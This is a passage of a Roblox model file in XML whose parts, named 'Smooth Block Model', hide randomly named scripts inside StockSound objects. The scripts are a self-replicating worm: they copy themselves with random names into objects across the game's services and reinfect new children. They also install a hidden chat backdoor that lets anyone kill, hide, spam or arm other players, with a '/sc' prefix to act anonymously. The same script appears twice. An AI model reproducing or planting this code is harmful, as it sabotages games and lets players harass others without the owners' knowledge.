g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX796">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-176</X>
					<Y>26.1999989</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX797">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX798">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX799">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-156</X>
					<Y>28.1999989</Y>
					<Z>-11.5</Z>
					<R00>2.00492699e-018</R00>
					<R01>-5.29562288e-015</R01>
					<R02>-1</R02>
					<R10>1.10303034e-015</R10>
					<R11>1</R11>
					<R12>5.29562288e-015</R12>
					<R20>1</R20>
					<R21>1.10303034e-015</R21>
					<R22>-2.00492699e-018</R22>
				</CoordinateFrame>
